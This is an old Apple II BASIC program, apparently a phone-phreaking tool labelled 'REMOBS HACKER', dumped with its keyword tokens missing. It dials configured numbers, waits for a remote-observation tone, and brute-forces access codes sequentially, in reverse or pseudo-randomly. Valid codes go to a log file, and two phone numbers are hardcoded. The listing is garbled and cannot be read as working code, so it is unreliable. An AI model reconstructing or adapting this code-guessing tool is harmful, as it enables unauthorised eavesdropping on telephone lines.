2000C117000*(21)6RO$(7)@5000r D$(4):D$"BLOAD ZS.EARS":D$"BLOAD ZS.DIAL"z:#1:1::" REMOTE OBSERVATION (REMOBS) HACKER "$%2:1:"DIALUP:";:DU$;:20:"HACK TYPE:";HT$&34,3::9 '23:1:"CALLS:";TD;:13:"ATTEMPTS:"TA;:29:"FOUND:"TF;:4T (::" MAIN MENU "::s 2:"[B] BEGIN REMOBS HACK" 3:"[C] CONFIGURE HACK" 4:"[S] SKIP TO NUMBER (SEQ HACKING)" 5:"[R] SEED RANDOM NUMBER" 7:"[Q] QUIT" K1:19:"MAKE YOUR SELECTION NOW! ";:I$( LI$"Q"ĉ:8 MI$"C"300H NI$"B"200X OI$"S"400h PI$"R"600p R75} d DIAL # i255,VL nI1(CN$):N((CN$,I,1)) x254,N:21248 :1000:IC$CN$: GET AN INITIAL CODE TO START WITH4 10:1:"[ ] PICKING UP FONE":12:"[ ] DIALING" 14:"[ ] WAITING FOR REMOB TONE":16:"[ ] HACKING":18:"[ ] HANGING UP FONE" 23:1:"CALLS:";TD;:13:"ATTEMPTS:"TA;:29:"FOUND:"TF;:RTRT1:RTRNRT0:2000:207 2150 DL((1)MW)1:XDL01:6:1::" WAITING: ";::" "X" "T Y1900::(16384)160İ3000f :6:1:868 6:1::" HACKING ";::" " VL216: 2 IS SLOT 10::2:" ": PICKUP FONE 255,VL:49281VL,131:49282VL,2$ D1400:24737:N(768):N0ZZ1:Z402241 N0Z0R :ST$"LOST DIALTONE! ":270d 10::2:" "r DIAL 12:2::" "::4000 CN$DU$:21251,2:100 12:2:" " WAIT 14:2::" ": T0:F0 Z0:D140024737:N(768):ZZNN0Z07Z60Ģ14:2:" ":244eD:ST$"COULDN'T FIND REMOBS TONE! ":270TT1:16:2::" ":CN$IC$:16:15:"CODE:";::CN$;::21251,5:100:16:2:" "Z0:14:2::" "::D112024737:N(768):ZZNZ20F1:260"D:14:2:" "(:D16:2:" ":14:2:" "J:\ HANGUP p18:2::" ":49282VL,0:49281VL,0X1500:18:2:" "TDTD1Fİ50016368,0ST$""Ģ20:1:(7)(7);ST$;:I$:30TA9999ĺ(7)(7):30 205/, CONFIG 71:R6::" CONFIGURE "::X78"NUMBER OF DIALUPS IN HUNT (1-7) .... ";RO9I1RO:"ENTER DIALUP #"I" ............... ";:"";RO$(I):<="MAXIMUM RANDOM WAIT (SECONDS) .... ";MW@NA"HACK TYPE: (S)EQUENTIAL, (R)EVERSE SEQ":" (P)SEUDO-RANDOM"hB1:"HACK TYPE:";:I$CI$"S"HT$"SEQUENTIAL":327DI$"P"HT$"PSEUDO-RND":327EI$"R"HT$"REVERSE SEQ":327F322G30:::" SKIP ":'"ENTER NEW NUMER TO SKIP TO:";C0TAC830G FOUND STFTF1s25:07::" VALID CODE "25:09::" "25:08::" ";::DU$" "CN$;::" "D$"OPEN SHARP":D$"APPEND SHARP":D$"WRITE SHARP" DU$" "CN$ D$"CLOSE"CX:::" SEED RANDOM NUMBER "::]"THE SEED IS GENERATED BY THE TIME":"BETWEEN KEYSTROKES."bX1((78)(79))256::"[PRESS SOME KEYS...]":gX(16384):A(X):X128DD1:X(16336)(16336):16368,0:D23620h615?l16368,0:"SMACK [RETURN] ";I$:2000:30W RETURN # AS CN$ cTATA1sQ$(HT$,1)Q$"R"1050Q$"P"1030CC1C$(C)(C$)4N$"0"C$:C$N$:1015CN$C$:C((1)9999) C$(C)(C$)4N$"0"C$:C$N$:1040,CN$C$:6CC1B$C$(C)f)(C$)4N$"0"C$:C$N$:1065p*N$"".X411:N$N$(C$,X,1)::CN$N$: RETURN "RN" .. RANDOM NUMBER FOR # OF CALLS IN A ROW RN((1)2)1 PAUSE  16368,0Q :1:20:"PAUSED";::" -- PRESS ANY KEY TO RESUME ";:I$b 1:20:868h  PICK A NUMBER TO DIAL, RETURN IT IN DU$ HNHN1HNROHN1:1000:IC$CN$DU$RO$(HN)2:1:"DIALUP:"DU$ CHEEZY INITIAL SETUP *RO$(1)"7799994"?RO$(2)"7742958"IMW10UTA5823^RO2gCTA|HT$"SEQUENTIAL"P